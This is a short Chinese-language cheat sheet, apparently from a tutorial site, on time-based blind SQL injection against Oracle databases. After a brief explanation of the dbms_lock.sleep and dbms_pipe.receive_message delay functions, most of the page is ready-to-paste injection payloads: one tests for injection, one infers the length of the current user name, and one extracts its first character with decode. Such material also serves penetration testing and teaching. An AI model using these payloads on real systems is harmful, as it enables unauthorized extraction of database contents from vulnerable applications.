🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
[TOC] ## 常用的函数 ``` dbms_lock.sleep()函数 ``` 该函数可以让一个过程休眠很多秒,但不能直接讲该函数注入到子查询里,只有数据管理员才能使用 ``` dbms_pipe.receive_message('RDS',10) ``` 该函数将为从RDS管道返回的数据等待10秒,默认情况下允许public权限执行 ## 判断是否存在注入 ~~~ and 1=dbms_pipe.receive_message('RDS',10) --+ ~~~ ## 判断数据的长度 ~~~ and 1=(select decode(length(user),6,dbms_pipe.receive_message('RDS',10),0) from dual) --+ ~~~ ## 利用decode布尔盲注判断第一个字符 ~~~ and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --+ ~~~